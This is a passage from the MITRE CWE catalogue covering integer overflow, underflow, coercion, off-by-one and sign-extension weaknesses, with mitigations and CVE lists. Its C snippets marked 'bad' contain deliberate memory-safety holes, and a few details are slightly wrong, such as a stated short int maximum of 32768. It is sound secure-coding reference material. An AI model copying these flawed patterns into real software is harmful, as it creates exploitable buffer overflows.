*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

#### Phase: Implementation

*Strategy = Input Validation*

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform sanity checks for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

#### Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

#### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

#### Phase: Implementation

*Strategy = Compilation or Build Hardening*

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

### Demonstrative Examples

#### Example 1:

The following image processing code allocates a table for images.

*Example Language: C*

*(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/int num_imgs;...num_imgs = get_num_imgs();table_ptr =
(img_t*)malloc(sizeof(img_t)*num_imgs);...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

#### Example 2:

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

Example Language: C

(bad)

```
nresp = packet_get_int();if (nresp > 0) {response = xmalloc(nresp*sizeof(char*));for (i = 0; i < nresp; i++) response[i] =
packet_get_string(NULL);}
```

If `nresp` has the value 1073741824 and `sizeof(char*)` has its typical value of 4, then the result of the operation `nresp*sizeof(char*)` overflows, and the argument to `xmalloc()` will be 0. Most `malloc()` implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

### Example 3:

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

Example Language: C

(bad)

```
short int bytesRec = 0;char buf[SOMEBIGNUM]; while(bytesRec < MAXGET) {bytesRec += getFromInput(buf+bytesRec);}
```

In the above case, it is entirely possible that `bytesRec` may overflow, continuously creating a lower number than `MAXGET` and also overwriting the first `MAXGET-1` bytes of `buf`.

### Example 4:

In this example the method `determineFirstQuarterRevenue` is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

Example Language: C

(bad)

```
#define JAN 1#define FEB 2#define MAR 3 short getMonthlySales(int month) {...} float calculateRevenueForQuarter(short
quarterSold) {...} int determineFirstQuarterRevenue() { // Variable for sales revenue for the quarter float quarterRevenue
= 0.0f; short JanSold = getMonthlySales(JAN); /* Get sales in January */short FebSold = getMonthlySales(FEB); /*
Get sales in February */short MarSold = getMonthlySales(MAR); /* Get sales in March */ // Calculate quarterly total
short quarterSold = JanSold + FebSold + MarSold; // Calculate the total revenue for the quarter quarterRevenue =
calculateRevenueForQuarter(quarterSold); saveFirstQuarterRevenue(quarterRevenue); return 0; }
```

However, in this example the primitive type `short int` is used for both the monthly and the quarterly sales variables. In C the `short int` primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the `short int` primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

Example Language: C

(good)

```
...float calculateRevenueForQuarter(long quarterSold) {...} int determineFirstQuarterRevenue() { ... // Calculate quarterly
total long quarterSold = JanSold + FebSold + MarSold; // Calculate the total revenue for the quarter quarterRevenue =
calculateRevenueForQuarter(quarterSold); ... }
```

Note that an integer overflow could also occur if the `quarterSold` variable has a primitive type `long` but the method `calculateRevenueForQuarter` has a parameter of type `short`.

## Observed Examples

Reference	Description
CVE-2010-2753	chain: integer overflow leads to use-after-free <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2753">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2753</a>

### Notes

#### Relationship

Integer overflows can be primary to buffer overflows.

#### Terminology

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Integer overflow (wrap or wraparound)

## CWE-191: Integer Underflow (Wrap or Wraparound)

**Weakness ID** : 191

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

### Extended Description

This can happen in signed and unsigned cases.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Alternate Terms

**Integer underflow** : "Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue. "Integer underflow" is occasionally used to describe array index errors in which the index is negative.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

### Demonstrative Examples

**Example 1:**

The following example subtracts from a 32 bit signed integer.

Example Language: C

(bad)

```
#include <stdio.h>#include <stdlib.h>main (void){int i; i = -2147483648; i = i - 1; return 0;}
```

The example has an integer underflow. The value of *i* is already at the lowest negative value possible, so after subtracting 1, the new value of *i* is 2147483647.

### Observed Examples

## CWE-192: Integer Coercion Error

<b>Weakness ID</b> : 192	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

## Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Crash, Exit, or Restart  <i>Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.</i>	
Integrity Other	Other  <i>Integer coercion errors result in an incorrect value being stored for the variable in question.</i>	

## Potential Mitigations

### Phase: Requirements

A language which throws exceptions on ambiguous data casts might be chosen.

### Phase: Architecture and Design

Design objects and program flow such that multiple or complex casts are unnecessary

### Phase: Implementation

Ensure that any data type casting that you must use is entirely understood in order to reduce the plausibility of error in use.

### Demonstrative Examples

#### Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C

(bad)

```
DataPacket *packet;int numHeaders;PacketHeader *headers; sock=AcceptSocketConnection();ReadPacket(packet,
sock);numHeaders =packet->headers; if (numHeaders > 100) {ExitError("too many headers!");}headers =
malloc(numHeaders * sizeof(PacketHeader));ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

#### Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C

(bad)

```
int GetUntrustedInt () {return(0x0000FFFF);} void main (int argc, char **argv) { char path[256];char *input;int i;short
s;unsigned int sz; i = GetUntrustedInt();s = i; /* s is -1 so it passes the safety check - CWE-697 */if (s > 256) {DiePainfully("go
away!\n");} /* s is sign-extended and saved in sz */sz = s; /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary
*/printf("i=%d, s=%d, sz=%u\n", i, s, sz); input = Get userInput("Enter pathname:"); /* strncpy interprets s as unsigned int,
so it's treated as MAX_INT(CWE-195), enabling buffer overflow (CWE-119) */strncpy(path, input, s);path[255] = '\0'; /* don't
want CWE-170 */printf("Path is: %s\n", path); }
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		738	CERT C Secure Coding (2008 Version) Section 04 - Integers (INT)	734	1570
MemberOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1602

### Notes

#### Maintenance

Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly.

This has implications for the presentation of this node and others, such as CWE-681, and whether there is enough of a difference for these nodes to be split.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Integer coercion error
CERT C Secure Coding	INT02-C		Understand integer conversion rules
CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Exact	Ensure that integer conversions do not result in lost or misinterpreted data

## CWE-193: Off-by-one Error

<b>Weakness ID</b> : 193	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	264
CanPrecede		170	Improper Null Termination	384
CanPrecede		617	Reachable Assertion	1145

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Alternate Terms

**off-by-five** : An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

## Potential Mitigations

### Phase: Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include `strcpy()`, `strncpy()`, `strcat()`, `strncat()`, `printf()`, `sprintf()`, `scanf()` and `sscanf()`.

## Demonstrative Examples

### Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(bad)

```
int i; unsigned int numWidgets; Widget **WidgetList; numWidgets = GetUntrustedSizeValue(); if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {ExitError("Incorrect number of widgets requested!");} WidgetList = (Widget **) malloc(numWidgets * sizeof(Widget *)); printf("WidgetList ptr=%p\n", WidgetList); for(i=0; i<numWidgets; i++) {WidgetList[i] = InitializeWidget();} WidgetList[numWidgets] = NULL; showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests `MAX_NUM_WIDGETS`, there is an off-by-one buffer overflow when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

### Example 2:

In this example, the `strncat` and `snprintf` functions are used incorrectly. The code does not account for the null character that is added by the second `strncat` function call, one byte beyond the end of the name buffer.

Example Language: C

(bad)

```
char lastname[20];char firstname[20];char name[40];char fullname[40]; strcat(name, firstname, sizeof(name));strcat(name, lastname, sizeof(name));snprintf(fullname, sizeof(fullname), "%s", name);
```

By leaving a free byte at the end of the buffers for a null character to be added, the off-by-one weakness is avoided.

Example Language: C

(good)

```
char lastname[20];char firstname[20];char name[40];char fullname[40]; strcat(name, firstname, sizeof(name)-1);strcat(name, lastname, sizeof(name)-1);snprintf(fullname, sizeof(fullname), "%s", name);
```

### Example 3:

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

Example Language: C

(bad)

```
#define PATH_SIZE 60 char filename[PATH_SIZE]; for(i=0; i<=PATH_SIZE; i++) { char c = getc();if (c == 'EOF') {filename[i] = '\0';} filename[i] = getc(); }
```

In this case, the correct continuation condition is shown below.

Example Language: C

(good)

```
for(i=0; i<PATH_SIZE; i++) {...
```

### Example 4:

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

Example Language: C

(bad)

```
int setFilename(char *filename) {char name[20];sprintf(name, "%16s.dat", filename);int success = saveFormattedFilenameToDB(name);return success;}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

## Observed Examples

Reference	Description
<b>CVE-2003-0252</b>	Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0252">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0252</a>
<b>CVE-2001-1391</b>	Off-by-one vulnerability in driver allows users to modify kernel memory. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1391">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1391</a>

Reference	Description
<b>CVE-2002-0653</b>	Off-by-one buffer overflow in function used by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0653">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0653</a>
<b>CVE-2002-0844</b>	Off-by-one buffer overflow in version control system allows local users to execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0844">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0844</a>
<b>CVE-1999-1568</b>	Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1568">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1568</a>
<b>CVE-2004-0346</b>	Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0346">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0346</a>
<b>CVE-2004-0005</b>	Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0005">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0005</a>
<b>CVE-2003-0356</b>	Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0356">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0356</a>
<b>CVE-2001-1496</b>	Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1496">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1496</a>
<b>CVE-2004-0342</b>	This is an interesting example that might not be an off-by-one. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0342">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0342</a>
<b>CVE-2001-0609</b>	An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0609">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0609</a>
<b>CVE-2002-1745</b>	Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1745">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1745</a>
<b>CVE-2002-1816</b>	Off-by-one buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1816">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1816</a>
<b>CVE-2002-1721</b>	Off-by-one error causes an sprintf call to overwrite a critical internal variable with a null value. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1721">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1721</a>
<b>CVE-2003-0466</b>	Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0466">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0466</a>
<b>CVE-2003-0625</b>	Off-by-one error allows read of sensitive memory via a malformed request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0625">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0625</a>
<b>CVE-2006-4574</b>	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4574">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4574</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	741	CERT C Secure Coding (2008 Version) Section 07 - Characters and Strings (STR)	734	1573
MemberOf	<b>C</b>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1603

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	977	SFP Secondary Cluster: Design	888	1634

## Notes

### Relationship

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

### Research Gap

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Off-by-one Error
CERT C Secure Coding	STR31-C		Guarantee that storage for strings has sufficient space for character data and the null terminator

## CWE-194: Unexpected Sign Extension

**Weakness ID** : 194

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239

**Applicable Platforms**

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Read Memory	
Confidentiality	Modify Memory	
Availability	Other	
Other	<i>When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.</i>	

**Potential Mitigations**

**Phase: Implementation**

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

**Demonstrative Examples**

**Example 1:**

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

*Example Language: C*

*(bad)*

```
int GetUntrustedInt () {return(0x0000FFFF);} void main (int argc, char **argv) { char path[256];char *input;int i;short s;unsigned int sz; i = GetUntrustedInt();s = i;/* s is -1 so it passes the safety check - CWE-697 */if (s > 256) {DiePainfully("go away!\n");} /* s is sign-extended and saved in sz */sz = s; /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */printf("i=%d, s=%d, sz=%u\n", i, s, sz); input = GetUserInput("Enter pathname:"); /* strncpy interprets s as unsigned int, so it's treated as MAX_INT(CWE-195), enabling buffer overflow (CWE-119) */strncpy(path, input, s);path[255] = '\0'; /* don't want CWE-170 */printf("Path is: %s\n", path); }
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

## Observed Examples

Reference	Description
<b>CVE-1999-0234</b>	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0234">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0234</a></i>
<b>CVE-2003-0161</b>	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0161">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0161</a></i>
<b>CVE-2007-4988</b>	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4988">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4988</a></i>
<b>CVE-2006-1834</b>	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1834">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1834</a></i>
<b>CVE-2005-2753</b>	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2753">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2753</a></i>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	1646

## Notes

### Relationship

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

### Maintenance

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Sign extension error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

## CWE-195: Signed to Unsigned Conversion Error

**Weakness ID** : 195

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

### Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program. Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

### Relationships

